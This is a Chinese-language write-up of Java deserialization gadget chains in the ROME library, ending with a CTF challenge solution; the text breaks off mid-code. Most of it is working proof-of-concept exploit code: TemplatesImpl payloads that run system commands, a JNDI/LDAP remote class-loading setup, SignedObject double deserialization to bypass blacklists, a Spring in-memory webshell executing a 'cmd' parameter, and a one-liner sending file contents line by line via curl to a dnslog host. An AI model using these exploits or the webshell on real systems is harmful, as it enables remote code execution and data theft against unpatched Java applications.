ROME
ROME是一组Atom/RSS工具类,它用Java来操作大部份RSS。ROME可能是目前最完善的开源聚合工具,ROME支持绝大多数的RSS协议。
依赖
<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
前置知识
ToStringBean
再Rome包中的com.sun.syndication.feed.impl.ToStringBean
类中,提供了toString()
方法,其中有两个toString()
一个有参一个无参,先看下无参的
获取_obj属性的类名,并作为参数,传入有参toString()
而在有参方法中会执行三步操作
1、getPropertyDescriptors,获取_beanClass
中的getter、setter方法,跟进看一下
其中会调用getPDs()
跟进getPDs()
,又调用了其他有参构造获取了其中的getter、setter方法,之后将其合并赋给list属性pds,并将其转换为数组形式返回
2、获取pds返回值中的方法名和方法
3、反射调用该方法_obj类的该方法
触发_obj的所有getter方法,并且_obj和_beanClass在控制器中都可初始化赋值,这就可以想到CommonsBeanutils
中的getOutputProperties
,它会调用newtransform()
,进而触发TemplatesImpl 利用链,那么现在的问题就是如何调用toString了
EqualsBean
在EqualsBean的beanHashCode()中调用了_obj的toString()
方法,并且_obj可控,就可以直接调用到ToStringBean的toString()方法
因此就需要寻找哪里调用了beanHashCode()
除此外EqualsBean中还有个beanEquals()
方法,同样调用了反射,这个后面再谈
ObjectBean
在ObeanBean的hashCode()中调用了_equalsBean的beanHashCode()
方法,并且_equalsBean可控
这就可以联想到HashMap中的hashcode()方法
ObjectBean链
这条链是Rome反序列化的原型,由ysoserial 作者提出
TemplatesImpl.getOutputProperties() ToStringBean.toString(String) ToStringBean.toString() EqualsBean.beanHashCode() EqualsBean.hashCode() HashMap<K,V>.hash(Object) HashMap<K,V>.readObject(ObjectInputStream)
构造一个恶意类
public class Evil extends AbstractTranslet { public Evil(){ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { } } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } }
后续用到的工具类
public class Tools { public static byte[] getBytes(String byteName) throws NotFoundException, IOException, CannotCompileException { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(byteName); byte[] bytes = ctClass.toBytecode(); return bytes; } public static void setFieldValue(Object o, String fieldName, Object value) throws Exception { Field field = o.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(o,value); } public static byte[] serialize(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } public static void unserialize(byte[] b) throws IOException, ClassNotFoundException { ByteArrayInputStream bis = new ByteArrayInputStream(b); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); } }
利用链构造
首先先构造Templatesimpl链,并将恶意类的字节码存入其中
byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
之后就是构造ToStringBean的toString()
部分,可以通过构造器初始化两个属性的值
由于需要获取_beanClass类的getter、setter方法,也就是获取getOutputProperties()
,因此就需要_beanClass是Templates的class类,而_obj由于需要进行反射调用,因此它必须是已经存入恶意字节码的Templates类,即:
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
接着到EqualsBean部分,同样需要修改_obj的值,将其修改为ToStringBean类型,才能调用到对应的toString()
public int beanHashCode() { return _obj.toString().hashCode(); }
初始化EqualsBean
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
因此这里只需要,将对应的obj修改为ToStringBean即可,即:
ObjectBean objectBean = new ObjectBean(Object.class, equalsBean);
这里的只用到了_obj,因此beanClass随意赋值一个类型即可
接着就是修改HashMap了,因为HashMap的readObject方法中调用了hash()
的方法,继而调用了hashCode()
调用了hash()
,接着调用了key的hashCode()
,因此就需要构造key为ObjectBean类型,即:
ToStringBean toStringBean = new ToStringBean(Templates.class, templates); ObjectBean objectBean = new ObjectBean(Object.class, toStringBean); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "1");
最后调用HashMap的readObject()方法成功执行反序列化
但需注意在我们使用HashMap的put()
时,会调用hash() -> hashCode(),因此需要put时先传入无害数据,在通过反射来修改_equalsBean
为恶意的。
POC:
public class Rome_ObjectBean { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); ObjectBean objectBean = new ObjectBean(Object.class, "Sentiment"); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "1"); setFieldValue(objectBean,"_equalsBean",equalsBean); byte[] serialize = serialize(hashMap); unserialize(serialize); } }
除此外Hashtable的readObject()
最终同样可以触发hashCode()
,因此同样适用
POC:
public class Rome_ObjectBean { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean); ObjectBean objectBean = new ObjectBean(Object.class, "Sentiment"); Hashtable hashtable = new Hashtable(); hashtable.put(objectBean, "1"); setFieldValue(objectBean,"_equalsBean",equalsBean); byte[] serialize = serialize(hashtable); unserialize(serialize); } }
其他调用链
1、BadAttributeValueExpException
想到toString就一定能想到BadAttributeValueExpException的readobject(),它在最后调用了toString()
方法,并且它的val属性我们可以通过反射修改,那就可以直接触发到ToStringBean中的此方法
POC:
public class Rome_BadAttributeValueExpException { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean = new ToStringBean(Templates.class, templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); setFieldValue(badAttributeValueExpException,"val",toStringBean); byte[] serilize = serilize(badAttributeValueExpException); unserilize(serilize); } }
2、HotSwappableTargetSource
在XString的equals()
方法中,会调用obj2的toString()
,假如构造obj2为ToStringBean类型就能RCE
因此现在就需要找哪里调用了equals()
,并且其中的参数可控
再HotSwappableTargetSource中找到了equals()
,并且参数是target,通过有参构造就能修改。
但需注意,这里equals()
前后有两个target,这就需要构造两个HotSwappableTargetSource实例,左边为XString,右边为ToStringBean
继续寻找哪里调用equals()
,这里还可以用HashMap的readObject()
POC:
public class Rome_HotSwappableTargetSource { public static void main(String[] args) throws Exception{ byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean = new ToStringBean(Templates.class,templates); HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1")); HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean); HashMap hashMap = new HashMap(); hashMap.put(hotSwappableTargetSource2,"1"); hashMap.put(hotSwappableTargetSource1,"1"); byte[] serialize = serialize(hashMap); unserialize(serialize); } }
3、JdbcRowSetImpl链
在JdbcRowSetImpl的getDatabaseMetaData()
会调用connect()
,触发lookup()
进行远程类加载
lookup()中参数可控,可通过对应的Setter方法进行赋值
接着由于getDatabaseMetaData()
是以get
开头,因此在ToStringBean的toString()
,可通过循环反射调用,而触发方式仍然为HashMap调用hashCode()
的方式
这里同样要注意put()
时,会调用hashCode()
,因此需要修改equalsBean的内容为无害数据,但构造后发现,EqualsBean的构造器再赋值前,会进行判断beanClass是否为obj的子类,否则会抛异常
因此直接将toStringBean初始化赋值进行修改即可,即:
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "Sentiment");
或者再初始化一个无害EqualsBean也可,之后再将对应的_obj用反射修改回来
setFieldValue(toStringBean,"_obj",jdbcRowSet);
开启本地服务
python -m http.server 7777
使用marshalsec构建LDAP服务,服务端监听:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Evil 9999
POC:
public class Rome_JdbcRowSetImpl { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:9999/Evil"); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "Sentiment"); EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean); HashMap hashMap = new HashMap(); hashMap.put(equalsBean,"1"); setFieldValue(toStringBean,"_obj",jdbcRowSet); byte[] serialize = serialize(hashMap); unserialize(serialize); } }
4、无ToStringBean链
前边的所有方式都用到了ToStringBean这条链,但若该类被加入了黑名单,则可用前边EqualsBean中提到的beanEquals()
方法
该方法在EqualsBean的equals()
中会调用,因此这里就需要找到哪里调用了equals()
即可,这就联想到了CC7的调用链
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
在readObject中,elements的值为2,这就表示下方我们会循环调用两次reconstitutionPut()
先看第一次再for循环初始化时,会将tab[index]的值赋给e,而tab此时为空,所以就跳过了for循环,并在下方给tab赋值
第二次进入到了for中,但要求e.hash==hash,否则就不会执行equals
用CC7中的zZ
、yy
绕过即可,因为它俩的hash相等
map1.put("zZ",1); map2.put("yy",1);
但这里还需要做一些修改,调用的是value的equals()
,因此value要设置为EqualsBean
类型,而equals()
中的参数在beanEquals()
中会判断是否为_beanClass的子类或子类实例,_beanClass
根据前边的经验是Templates类型的,因此equals()
中的参数也要是Templates
类型
因此需要将上述提到的两个类存入map中
map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates);
之后是EqualsBean初始化部分,若按以前配置方式应该为:
EqualsBean equalsBean = new EqualsBean(Templates.class, templates);
但这样设置后仍会在map的put()
执行,而这里执行后会抛出异常结束进程,就导致了无法走到readObject的部分,因此同样先设置一个无害参数,在通过反射在最后修改回来
public class Rome_EqualsBean { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean = new EqualsBean(Templates.class, templates); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates); Hashtable hashtable = new Hashtable(); hashtable.put(map1,"1"); hashtable.put(map2,"1"); setFieldValue(equalsBean,"_beanClass",Templates.class); setFieldValue(equalsBean,"_obj",templates); byte[] serialize = serialize(hashtable); unserialize(serialize); } }
HashMap同样适用
public class Rome_EqualsBean { public static void main(String[] args) throws Exception { byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean = new EqualsBean(String.class, "Sentiment"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean); map1.put("zZ",templates); map2.put("zZ",equalsBean); map2.put("yy",templates); HashMap hashMap = new HashMap(); hashMap.put(map1,"1"); hashMap.put(map2,"1"); setFieldValue(equalsBean,"_beanClass",Templates.class); setFieldValue(equalsBean,"_obj",templates); byte[] serialize = serialize(hashMap); unserialize(serialize); } }
二次反序列化
二次反序列化,顾名思义,就是反序列化两次,其主要意义是绕过黑名单的限制或不出网利用,前不久在一场CTF中遇到了二次反序列化,借此简单了解下。
SignedObject
Rome二次反序列化主要源于java.security
中的SignedObject类,它的构造器中就默认实现了序列化的功能
而它的getObject()
又实现了反序列化,并且其中的参数content是通过构造器可控的
之后就可以构造恶意SignedObject
,将之前的恶意hashMap存入SignedObject,对其触发序列化
byte[] bytes = getBytes("Rome.Evil"); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates); EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1); ObjectBean objectBean1 = new ObjectBean(Object.class, "Sentiment"); HashMap hashMap = new HashMap(); hashMap.put(objectBean1, "1"); setFieldValue(objectBean1,"_equalsBean",equalsBean1); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
之后就是调用getObject方法触发反序列化执行命令了,思路跟前边一样,通过ToStringBean调用getter的机制触发即可
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject); EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2); ObjectBean objectBean2 = new ObjectBean(Object.class, "Sentiment"); HashMap hashMap1 = new HashMap(); hashMap1.put(objectBean2, "1"); setFieldValue(objectBean2,"_equalsBean",equalsBean2); byte[] serialize = serialize(hashMap1); unserialize(serialize);
POC:
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject); EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2); ObjectBean objectBean2 = new ObjectBean(Object.class, "Sentiment"); HashMap hashMap1 = new HashMap(); hashMap1.put(objectBean2, "1"); setFieldValue(objectBean2,"_equalsBean",equalsBean2); byte[] serialize = serialize(hashMap1); unserialize(serialize);
byte[] serialize = serialize(hashMap1);
unserialize(serialize);
}
}
CTF—JavaMonster
接着看下前两天遇到的Java题
主要分为三部分
1:获取Cookie中索引为1的值,并进行jwt解密,要求等于Boogipop,由于出题人已经给出了JWT脚本,因此修改下值即可
2:hashCode绕过,要求s不等于Try to solve EasyJava
,但hashCode要等于Try to solve EasyJava
hashCode的逻辑是:
public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value; for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
用个例子简单看下
//97 "a".hashCode() //97*31+98=3105 "ab".hahsCode() //3105*31+99=96354 "abc".hashCode()
ab的hashCode = ("a"的ascii码*31)+("b"的ascii码),abc同理是"ab"*31 + "c"
,按照此计算规则假设我将"ab"改为"bC",那么它的hashcode = 98*31+67=3105,与ab相等
按此计算"USy to solve EasyJava".hashCode() == "Try to solve EasyJava".hashCode(),便可绕过这里
3:在进行反序列化前,执行了MyownObjectInputStream的一步操作
即使本地有Rome依赖,但基本都被加入了黑明单,这时看到了另一个类HDCTF
,其中两个函数完成功能与SignedObject中的基本一致,所以直接考虑二次反序列化绕过黑名单
根据上边黑名单发现EqualsBean、ObjectBean没被ban,所以考虑外层反序列化的内容用无ToStringBean链,而Templates封装到第二层序列化中即可绕过
import com.ctf.easyjava.hdctf.HDCTF; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap; import static com.ctf.easyjava.Tools.*; public class Rome_CTF { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean1 = new EqualsBean(String.class, "Sentiment"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean1); map1.put("zZ",templates); map2.put("zZ",equalsBean1); map2.put("yy",templates); HashMap hashMap1 = new HashMap(); hashMap1.put(map1,"1"); hashMap1.put(map2,"1"); setFieldValue(equalsBean1,"_beanClass",Templates.class); setFieldValue(equalsBean1,"_obj",templates); HDCTF hdctf = new HDCTF(hashMap1); EqualsBean equalsBean2 = new EqualsBean(String.class, "Sentiment"); HashMap map3 = new HashMap(); HashMap map4 = new HashMap(); map3.put("yy",equalsBean2); map3.put("zZ",hdctf); map4.put("zZ",equalsBean2); map4.put("yy",hdctf); HashMap hashMap2 = new HashMap(); hashMap2.put(map3,"1"); hashMap2.put(map4,"1"); setFieldValue(equalsBean2,"_beanClass",HDCTF.class); setFieldValue(equalsBean2,"_obj",hdctf); byte[] serialize = serialize(hashMap2); String s = Base64.getEncoder().encodeToString(serialize); System.out.println(s); } }
传参本地测试成功
预期解
但这个题目设置了不出网,因此首先考虑打Spring内存马
package com.ctf.easyjava; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class InjectToController extends AbstractTranslet { // 第一个构造函数 public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field configField = mappingHandlerMapping.getClass().getDeclaredField("config"); configField.setAccessible(true); RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping); Method method2 = InjectToController.class.getMethod("test"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = RequestMappingInfo.paths("/shell") .options(config) .build(); InjectToController springControllerMemShell = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } // 第二个构造函数 public InjectToController(String aaa) {} // controller指定的处理方法 public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); //exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //当请求没有携带指定的参数(code)时,返回 404 错误 response.sendError(404); } }catch (Exception e){} } }
生成字节码文件后,将上边弹calc的代码换为
FileInputStream fis =new FileInputStream("D:\\InjectToController.class"); byte[] bytes = new byte[fis.available()]; fis.read(bytes);
重新传参,成功注入内存马
非预期
其实在最初能执行命令后,有测试过本题是否出网,可能是ngnix反代设置有问题,虽然不通vps,但测试中发现通过curl命令可以将信息外带到dnslog中,但这时又遇到了问题,dnslog回显信息中不支持换行和特殊字符,这就导致无法执行大部分命令。
于是请教了K0e1y师傅,他想到了通过循环外带的方式解决了这个问题
POC:
import com.ctf.easyjava.hdctf.HDCTF; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap; import static com.ctf.easyjava.Tools.*; public class Rome_CTF { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"cat /flag_is_is_here | while read line; do echo $line.iny9ev.dnslog.cn | xargs curl; done\"});"); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean1 = new EqualsBean(String.class, "Sentiment"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean1); map1.put("zZ",templates); map2.put("zZ",equalsBean1); map2.put("yy",templates); HashMap hashMap1 = new HashMap(); hashMap1.put(map1,"1"); hashMap1.put(map2,"1"); setFieldValue(equalsBean1,"_beanClass",Templates.class); setFieldValue(equalsBean1,"_obj",templates); HDCTF hdctf = new HDCTF(hashMap1); EqualsBean equalsBean2 = new EqualsBean(String.class, "Sentiment"); HashMap map3 = new HashMap();